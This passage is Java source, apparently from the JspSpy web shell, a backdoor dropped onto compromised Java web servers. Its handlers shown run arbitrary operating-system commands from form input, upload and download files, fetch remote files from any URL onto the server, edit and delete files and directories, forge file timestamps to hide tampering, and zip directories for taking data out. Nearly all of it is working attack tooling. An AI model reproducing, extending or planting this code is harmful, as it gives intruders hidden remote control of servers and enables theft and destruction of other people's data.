  1488. }
  1489. Object online = JSession.getAttribute(SHELL_ONLINE);
  1490. if (online != null)
  1491. ((OnLineProcess)online).stop();
  1492. JSession.invalidate();
  1493. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1494. } catch (ClassCastException e) {
  1495. JSession.invalidate();
  1496. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1497. } catch (Exception e) {
  1498.  
  1499. throw e ;
  1500. }
  1501. }
  1502. }
  1503. private static class UploadInvoker extends DefaultInvoker {
  1504. public boolean doBefore() {return false;}
  1505. public boolean doAfter() {return false;}
  1506. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1507. try {
  1508. UploadBean fileBean = new UploadBean();
  1509. response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
  1510. fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
  1511. fileBean.parseRequest(request);
  1512. File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName());
  1513. if (f.exists() && f.length() > 0)
  1514. JSession.setAttribute(MSG,"<span style='color:green'>Upload File Success!</span>");
  1515. else
  1516. JSession.setAttribute("MSG","<span style='color:red'>Upload File Failed!</span>");
  1517. response.sendRedirect(SHELL_NAME);
  1518. } catch (Exception e) {
  1519. throw e ;
  1520. }
  1521. }
  1522. }
  1523. private static class CopyInvoker extends DefaultInvoker {
  1524. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1525. try {
  1526. String src = request.getParameter("src");
  1527. String to = request.getParameter("to");
  1528. InputStream in = null;
  1529. Object enter = JSession.getAttribute(ENTER);
  1530. if (enter == null)
  1531. in = new FileInputStream(new File(src));
  1532. else {
  1533. ZipFile zf = new ZipFile((String)enter);
  1534. ZipEntry entry = zf.getEntry(src);
  1535. in = zf.getInputStream(entry);
  1536. }
  1537. BufferedInputStream input = new BufferedInputStream(in);
  1538. BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
  1539. byte[] d = new byte[1024];
  1540. int len = input.read(d);
  1541. while(len != -1) {
  1542. output.write(d,0,len);
  1543. len = input.read(d);
  1544. }
  1545. output.close();
  1546. input.close();
  1547. JSession.setAttribute(MSG,"Copy File Success!");
  1548. response.sendRedirect(SHELL_NAME);
  1549. } catch (Exception e) {
  1550.  
  1551. throw e ;
  1552. }
  1553. }
  1554. }
  1555. private static class BottomInvoker extends DefaultInvoker {
  1556. public boolean doBefore() {return false;}
  1557. public boolean doAfter() {return false;}
  1558. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1559. try {
  1560. response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2010 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
  1561. "</div>");
  1562. } catch (Exception e) {
  1563.  
  1564. throw e ;
  1565. }
  1566. }
  1567. }
  1568. private static class VCreateFileInvoker extends DefaultInvoker {
  1569. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1570. try {
  1571. PrintWriter out = response.getWriter();
  1572. String path = request.getParameter("filepath");
  1573. File f = new File(path);
  1574. if (!f.isAbsolute()) {
  1575. String oldPath = path;
  1576. path = JSession.getAttribute(CURRENT_DIR).toString();
  1577. if (!path.endsWith("/"))
  1578. path+="/";
  1579. path+=oldPath;
  1580. f = new File(path);
  1581. f.createNewFile();
  1582. } else {
  1583. f.createNewFile();
  1584. }
  1585. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1586. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1587. "<h2>Create / Edit File &raquo;</h2>"+
  1588. "<input type='hidden' name='o' value='createFile'>"+
  1589. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1590. " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"+
  1591. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
  1592. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1593. "</form>"+
  1594. "</td></tr></table>");
  1595. } catch (Exception e) {
  1596.  
  1597. throw e ;
  1598. }
  1599. }
  1600. }
  1601. private static class VEditInvoker extends DefaultInvoker {
  1602. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1603. try {
  1604. PrintWriter out = response.getWriter();
  1605. String path = request.getParameter("filepath");
  1606. String charset = request.getParameter("charset");
  1607. Object enter = JSession.getAttribute(ENTER);
  1608. InputStream input = null;
  1609. if (enter != null) {
  1610. ZipFile zf = new ZipFile((String)enter);
  1611. ZipEntry entry = new ZipEntry(path);
  1612. input = zf.getInputStream(entry);
  1613. } else {
  1614. File f = new File(path);
  1615. if (!f.exists())
  1616. return;
  1617. input = new FileInputStream(path);
  1618. }
  1619.  
  1620. BufferedReader reader = null;
  1621. if (Util.isEmpty(charset) || charset.equals("ANSI"))
  1622. reader = new BufferedReader(new InputStreamReader(input));
  1623. else
  1624. reader = new BufferedReader(new InputStreamReader(input,charset));
  1625. StringBuffer content = new StringBuffer();
  1626. String s = reader.readLine();
  1627. while (s != null) {
  1628. content.append(s+"\r\n");
  1629. s = reader.readLine();
  1630. }
  1631. reader.close();
  1632. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1633. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1634. "<h2>Create / Edit File &raquo;</h2>"+
  1635. "<input type='hidden' name='o' value='createFile'>"+
  1636. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" />"+
  1637. " <select name='charset' id='fcharset' onchange=\"new fso({path:'"+path+"',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "+((!Util.isEmpty(charset) && charset.equals("UTF-8")) ? "selected" : "")+" value='UTF-8'>UTF-8</option></select></p>"+
  1638. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
  1639. "<p>");
  1640. if (enter != null)
  1641. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  1642. else
  1643. out.println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  1644. out.println("<input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1645. "</form>"+
  1646. "</td></tr></table>");
  1647.  
  1648. } catch (Exception e) {
  1649.  
  1650. throw e ;
  1651. }
  1652. }
  1653. }
  1654. private static class CreateFileInvoker extends DefaultInvoker {
  1655. public boolean doBefore(){return false;}
  1656. public boolean doAfter(){return false;}
  1657. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1658. try {
  1659. PrintWriter out = response.getWriter();
  1660. String path = request.getParameter("filepath");
  1661. String content = request.getParameter("filecontent");
  1662. String charset = request.getParameter("charset");
  1663. BufferedWriter outs = null;
  1664. if (charset.equals("ANSI"))
  1665. outs = new BufferedWriter(new FileWriter(new File(path)));
  1666. else
  1667. outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
  1668. outs.write(content,0,content.length());
  1669. outs.close();
  1670. JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
  1671. response.sendRedirect(SHELL_NAME);
  1672. } catch (Exception e) {
  1673.  
  1674. throw e ;
  1675. }
  1676. }
  1677. }
  1678. private static class VEditPropertyInvoker extends DefaultInvoker {
  1679. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1680. try {
  1681. PrintWriter out = response.getWriter();
  1682. String filepath = request.getParameter("filepath");
  1683. File f = new File(filepath);
  1684. if (!f.exists())
  1685. return;
  1686. String read = f.canRead() ? "checked=\"checked\"" : "";
  1687. String write = f.canWrite() ? "checked=\"checked\"" : "";
  1688. Calendar cal = Calendar.getInstance();
  1689. cal.setTimeInMillis(f.lastModified());
  1690.  
  1691. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1692. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1693. "<h2>Set File Property &raquo;</h2>"+
  1694. "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
  1695. "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
  1696. "<p>"+
  1697. " <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
  1698. " <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
  1699. "</p>"+
  1700. "<p>Instead &raquo;"+
  1701. "year:"+
  1702. "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
  1703. "month:"+
  1704. "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
  1705. "day:"+
  1706. "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
  1707. ""+
  1708. "hour:"+
  1709. "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
  1710. "minute:"+
  1711. "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
  1712. "second:"+
  1713. "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
  1714. "</p>"+
  1715. "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
  1716. "</form>"+
  1717. "</td></tr></table>");
  1718. } catch (Exception e) {
  1719. throw e ;
  1720. }
  1721. }
  1722. }
  1723. private static class EditPropertyInvoker extends DefaultInvoker {
  1724. public boolean doBefore(){return false;}
  1725. public boolean doAfter(){return false;}
  1726. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1727. try {
  1728. String f = request.getParameter("file");
  1729. File file = new File(f);
  1730. if (!file.exists())
  1731. return;
  1732.  
  1733. String year = request.getParameter("year");
  1734. String month = request.getParameter("month");
  1735. String date = request.getParameter("date");
  1736. String hour = request.getParameter("hour");
  1737. String minute = request.getParameter("minute");
  1738. String second = request.getParameter("second");
  1739.  
  1740. Calendar cal = Calendar.getInstance();
  1741. cal.set(Calendar.YEAR,Integer.parseInt(year));
  1742. cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
  1743. cal.set(Calendar.DATE,Integer.parseInt(date));
  1744. cal.set(Calendar.HOUR,Integer.parseInt(hour));
  1745. cal.set(Calendar.MINUTE,Integer.parseInt(minute));
  1746. cal.set(Calendar.SECOND,Integer.parseInt(second));
  1747. if(file.setLastModified(cal.getTimeInMillis())){
  1748. JSession.setAttribute(MSG,"Reset File Property Success!");
  1749. } else {
  1750. JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
  1751. }
  1752. response.sendRedirect(SHELL_NAME);
  1753. } catch (Exception e) {
  1754.  
  1755. throw e ;
  1756. }
  1757. }
  1758. }
  1759. //VShell
  1760. private static class VsInvoker extends DefaultInvoker{
  1761. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1762. try {
  1763. PrintWriter out = response.getWriter();
  1764. String cmd = request.getParameter("command");
  1765. String program = request.getParameter("program");
  1766. if (cmd == null) {
  1767. if (ISLINUX)
  1768. cmd = "id";
  1769. else
  1770. cmd = "cmd.exe /c set";
  1771. }
  1772. if (program == null)
  1773. program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
  1774. if (JSession.getAttribute(MSG)!=null) {
  1775. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  1776. JSession.removeAttribute(MSG);
  1777. }
  1778. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1779. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1780. "<h2>Execute Program &raquo;</h2>"+
  1781. "<p>"+
  1782. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1783. "<input type=\"hidden\" name=\"type\" value=\"program\">"+
  1784. "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
  1785. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1786. "</p>"+
  1787. "</form>"+
  1788. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1789. "<h2>Execute Shell &raquo;</h2>"+
  1790. "<p>"+
  1791. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1792. "<input type=\"hidden\" name=\"type\" value=\"command\">"+
  1793. "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
  1794. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1795. "</p>"+
  1796. "</form>"+
  1797. "</td>"+
  1798. "</tr></table>");
  1799. } catch (Exception e) {
  1800.  
  1801. throw e ;
  1802. }
  1803. }
  1804. }
  1805. private static class ShellInvoker extends DefaultInvoker{
  1806. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1807. try {
  1808. PrintWriter out = response.getWriter();
  1809. String type = request.getParameter("type");
  1810. if (type.equals("command")) {
  1811. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1812. out.println("<div style='margin:10px'><hr/>");
  1813. out.println("<pre>");
  1814. String command = request.getParameter("command");
  1815. if (!Util.isEmpty(command)) {
  1816. Process pro = Runtime.getRuntime().exec(command);
  1817. BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  1818. String s = reader.readLine();
  1819. while (s != null) {
  1820. out.println(Util.htmlEncode(Util.getStr(s)));
  1821. s = reader.readLine();
  1822. }
  1823. reader.close();
  1824. reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
  1825. s = reader.readLine();
  1826. while (s != null) {
  1827. out.println(Util.htmlEncode(Util.getStr(s)));
  1828. s = reader.readLine();
  1829. }
  1830. reader.close();
  1831. out.println("</pre></div>");
  1832. }
  1833. } else {
  1834. String program = request.getParameter("program");
  1835. if (!Util.isEmpty(program)) {
  1836. Process pro = Runtime.getRuntime().exec(program);
  1837. JSession.setAttribute(MSG,"Program Has Run Success!");
  1838. ((Invoker)ins.get("vs")).invoke(request,response,JSession);
  1839. }
  1840. }
  1841. } catch (Exception e) {
  1842.  
  1843. throw e ;
  1844. }
  1845. }
  1846. }
  1847. private static class DownInvoker extends DefaultInvoker{
  1848. public boolean doBefore(){return false;}
  1849. public boolean doAfter(){return false;}
  1850. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1851. try {
  1852. String path = request.getParameter("path");
  1853. if (Util.isEmpty(path))
  1854. return;
  1855. InputStream i = null;
  1856. Object enter = JSession.getAttribute(ENTER);
  1857. String fileName = null;
  1858. if (enter == null) {
  1859. File f = new File(path);
  1860. if (!f.exists())
  1861. return;
  1862. fileName = f.getName();
  1863. i = new FileInputStream(f);
  1864. } else {
  1865. ZipFile zf = new ZipFile((String)enter);
  1866. ZipEntry entry = new ZipEntry(path);
  1867. fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
  1868. i = zf.getInputStream(entry);
  1869. }
  1870. response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
  1871. BufferedInputStream input = new BufferedInputStream(i);
  1872. BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
  1873. byte[] data = new byte[1024];
  1874. int len = input.read(data);
  1875. while (len != -1) {
  1876. output.write(data,0,len);
  1877. len = input.read(data);
  1878. }
  1879. input.close();
  1880. output.close();
  1881. } catch (Exception e) {
  1882.  
  1883. throw e ;
  1884. }
  1885. }
  1886. }
  1887. //VDown
  1888. private static class VdInvoker extends DefaultInvoker {
  1889. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1890. try {
  1891. PrintWriter out = response.getWriter();
  1892. String savepath = request.getParameter("savepath");
  1893. String url = request.getParameter("url");
  1894. if (Util.isEmpty(url))
  1895. url = "http://www.forjj.com/";
  1896. if (Util.isEmpty(savepath)) {
  1897. savepath = JSession.getAttribute(CURRENT_DIR).toString();
  1898. }
  1899. if (!Util.isEmpty(JSession.getAttribute("done"))) {
  1900. Util.outMsg(out,"Download Remote File Success!");
  1901. JSession.removeAttribute("done");
  1902. }
  1903. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1904. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1905. "<h2>Remote File DownLoad &raquo;</h2>"+
  1906. "<p>"+
  1907. "<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
  1908. "<p>File&nbsp;&nbsp;&nbsp;URL: "+
  1909. " <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
  1910. "<p>Save Path: "+
  1911. "<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
  1912. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
  1913. "</p>"+
  1914. "</form></table>");
  1915. } catch (Exception e) {
  1916.  
  1917. throw e ;
  1918. }
  1919. }
  1920. }
  1921. private static class DownRemoteInvoker extends DefaultInvoker {
  1922. public boolean doBefore(){return true;}
  1923. public boolean doAfter(){return true;}
  1924. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1925. try {
  1926. String downFileUrl = request.getParameter("url");
  1927. String savePath = request.getParameter("savepath");
  1928. if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
  1929. return;
  1930. URL downUrl = new URL(downFileUrl);
  1931. URLConnection conn = downUrl.openConnection();
  1932.  
  1933. File tempF = new File(savePath);
  1934. File saveF = tempF;
  1935. if (tempF.isDirectory()) {
  1936. String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
  1937. saveF = new File(tempF,fName);
  1938. }
  1939. BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
  1940. BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
  1941. byte[] data = new byte[1024];
  1942. int len = in.read(data);
  1943. while (len != -1) {
  1944. out.write(data,0,len);
  1945. len = in.read(data);
  1946. }
  1947. in.close();
  1948. out.close();
  1949. JSession.setAttribute("done","d");
  1950. ((Invoker)ins.get("vd")).invoke(request,response,JSession);
  1951. } catch (Exception e) {
  1952.  
  1953. throw e ;
  1954. }
  1955. }
  1956. }
  1957. private static class IndexInvoker extends DefaultInvoker {
  1958. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1959. try {
  1960. ((Invoker)ins.get("filelist")).invoke(request,response,JSession);
  1961. } catch (Exception e) {
  1962.  
  1963. throw e ;
  1964. }
  1965. }
  1966. }
  1967. private static class MkDirInvoker extends DefaultInvoker {
  1968. public boolean doBefore(){return false;}
  1969. public boolean doAfter(){return false;}
  1970. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1971. try {
  1972. String name = request.getParameter("name");
  1973. File f = new File(name);
  1974. if (!f.isAbsolute()) {
  1975. String path = JSession.getAttribute(CURRENT_DIR).toString();
  1976. if (!path.endsWith("/"))
  1977. path += "/";
  1978. path += name;
  1979. f = new File(path);
  1980. }
  1981. f.mkdirs();
  1982. JSession.setAttribute(MSG,"Make Directory Success!");
  1983. response.sendRedirect(SHELL_NAME);
  1984. } catch (Exception e) {
  1985.  
  1986. throw e ;
  1987. }
  1988. }
  1989. }
  1990. private static class MoveInvoker extends DefaultInvoker {
  1991. public boolean doBefore(){return false;}
  1992. public boolean doAfter(){return false;}
  1993. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1994. try {
  1995. PrintWriter out = response.getWriter();
  1996. String src = request.getParameter("src");
  1997. String target = request.getParameter("to");
  1998. if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
  1999. File file = new File(src);
  2000. if(file.renameTo(new File(target))) {
  2001. JSession.setAttribute(MSG,"Move File Success!");
  2002. } else {
  2003. String msg = "Move File Failed!";
  2004. if (file.isDirectory()) {
  2005. msg += "The Move Will Failed When The Directory Is Not Empty.";
  2006. }
  2007. JSession.setAttribute(MSG,msg);
  2008. }
  2009. response.sendRedirect(SHELL_NAME);
  2010. }
  2011. } catch (Exception e) {
  2012.  
  2013. throw e ;
  2014. }
  2015. }
  2016. }
  2017. private static class RemoveDirInvoker extends DefaultInvoker {
  2018. public boolean doBefore(){return false;}
  2019. public boolean doAfter(){return false;}
  2020. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2021. try {
  2022. String dir = request.getParameter("dir");
  2023. File file = new File(dir);
  2024. if (file.exists()) {
  2025. deleteFile(file);
  2026. deleteDir(file);
  2027. }
  2028.  
  2029. JSession.setAttribute(MSG,"Remove Directory Success!");
  2030. response.sendRedirect(SHELL_NAME);
  2031. } catch (Exception e) {
  2032.  
  2033. throw e ;
  2034. }
  2035. }
  2036. public void deleteFile(File f) {
  2037. if (f.isFile()) {
  2038. f.delete();
  2039. }else {
  2040. File[] list = f.listFiles();
  2041. for (int i = 0;i<list.length;i++) {
  2042. File ff=list[i];
  2043. deleteFile(ff);
  2044. }
  2045. }
  2046. }
  2047. public void deleteDir(File f) {
  2048. File[] list = f.listFiles();
  2049. if (list.length == 0) {
  2050. f.delete();
  2051. } else {
  2052. for (int i = 0;i<list.length;i++) {
  2053. File ff=list[i];
  2054. deleteDir(ff);
  2055. }
  2056. deleteDir(f);
  2057. }
  2058. }
  2059. }
  2060. private static class PackBatchInvoker extends DefaultInvoker{
  2061. public boolean doBefore(){return false;}
  2062. public boolean doAfter(){return false;}
  2063. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2064. try {
  2065. String files = request.getParameter("files");
  2066. if (Util.isEmpty(files))
  2067. return;
  2068. String saveFileName = request.getParameter("savefilename");
  2069. File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2070. if (saveF.exists()) {
  2071. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2072. response.sendRedirect(SHELL_NAME);
  2073. return;
  2074. }
  2075. ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2076. String[] arr = files.split(",");
  2077. for (int i = 0;i<arr.length;i++) {
  2078. String f=arr[i];
  2079. File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
  2080. ZipEntry entry = new ZipEntry(pF.getName());
  2081. zout.putNextEntry(entry);
  2082. FileInputStream fInput = new FileInputStream(pF);
  2083. int len = 0;
  2084. byte[] buf = new byte[1024];
  2085. while ((len = fInput.read(buf)) != -1) {
  2086. zout.write(buf, 0, len);
  2087. zout.flush();
  2088. }
  2089. fInput.close();
  2090. }
  2091. zout.close();
  2092. JSession.setAttribute(MSG,"Pack Files Success!");
  2093. response.sendRedirect(SHELL_NAME);
  2094. } catch (Exception e) {
  2095.  
  2096. throw e;
  2097. }
  2098. }
  2099. }
  2100. private static class VPackConfigInvoker extends DefaultInvoker{
  2101. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2102. try {
  2103. PrintWriter out = response.getWriter();
  2104. String packfile = request.getParameter("packedfile");
  2105. String currentd = JSession.getAttribute(CURRENT_DIR).toString();
  2106. out.println("<form action='"+SHELL_NAME+"' method='post'>"+
  2107. "<input type='hidden' name='o' value='pack'/>"+
  2108. "<input type='hidden' name='config' value='true'/>"+
  2109. "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  2110. " <tr>"+
  2111. " <td><h2 id=\"Bin_H2_Title\">Pack Configuration &gt;&gt;<hr/></h2>"+
  2112. " <div id=\"hOWTm\">"+
  2113. " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  2114. " <tr align=\"center\">"+
  2115. " <td style=\"width:5%\"></td>"+
  2116. " <td align=\"center\"><table border=\"0\">"+
  2117. " <tr>"+
  2118. " <td>Packed Dir</td>"+
  2119. " <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
  2120. " </tr>"+
  2121. " <tr>"+
  2122. " <td>Save To</td>"+
  2123. " <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
  2124. " </tr>"+
  2125. " <tr>"+
  2126. " <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
  2127. " <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
  2128. " <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
  2129. " </fieldset></td>"+
  2130. " </tr>"+
  2131. " <tr>"+
  2132. " <td>Filesize Filter</td>"+
  2133. " <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
  2134. " <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
  2135. " </tr>"+
  2136. " <tr>"+
  2137. " <td>Exclude Dir</td>"+
  2138. " <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
  2139. " </tr>"+
  2140. " </table></td>"+
  2141. " </tr>"+
  2142. " <tr align=\"center\">"+
  2143. " <td colspan=\"2\">"+
  2144. " <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
  2145. " </td>"+
  2146. " </tr>"+
  2147. " </table>"+
  2148. " </div></td>"+
  2149. " </tr>"+
  2150. " </table></form>"
  2151. );
  2152. } catch (Exception e) {
  2153.  
  2154. throw e;
  2155. }
  2156. }
  2157. }
  2158. private static class PackInvoker extends DefaultInvoker {
  2159. public boolean doBefore(){return false;}
  2160. public boolean doAfter(){return false;}
  2161. private boolean config = false;
  2162. private String extFilter = "blacklist";
  2163. private String[] fileExts = null;
  2164. private String sizeFilter = "no";
  2165. private int filesize = 0;
  2166. private String[] exclude = null;
  2167. private String packFile = null;
  2168. private void reset(){
  2169. this.config = false;
  2170. this.extFilter = "blacklist";
  2171. this.fileExts = null;
  2172. this.sizeFilter = "no";
  2173. this.filesize = 0;
  2174. this.exclude = null;
  2175. this.packFile = null;
  2176. }
  2177. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  2178. try {
  2179. String config = request.getParameter("config");
  2180. if (!Util.isEmpty(config) && config.equals("true")) {
  2181. this.config = true;
  2182. this.extFilter = request.getParameter("extfilter");
  2183. this.fileExts = request.getParameter("fileext").split(",");
  2184. this.sizeFilter = request.getParameter("sizefilter");
  2185. this.filesize = Integer.parseInt(request.getParameter("filesize"));
  2186. this.exclude = request.getParameter("exclude").split(",");
  2187. }
  2188. String packedFile = request.getParameter("packedfile");
  2189. if (Util.isEmpty(packedFile))
  2190. return;
  2191. this.packFile = packedFile;
  2192. String saveFileName = request.getParameter("savefilename");
  2193. File saveF = null;
  2194. if (this.config)
  2195. saveF = new File(saveFileName);
  2196. else
  2197. saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
  2198. if (saveF.exists()) {
  2199. JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
  2200. response.sendRedirect(SHELL_NAME);
  2201. return;
  2202. }
  2203. File pF = new File(packedFile);
  2204. ZipOutputStream zout = null;
  2205. String base = "";
  2206. if (pF.isDirectory()) {
  2207. if (pF.listFiles().length == 0) {
  2208. JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
  2209. response.sendRedirect(SHELL_NAME);
  2210. this.reset();
  2211. return;
  2212. }
  2213. zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
  2214. zipDir(pF,base,zout);
  2215. } else {
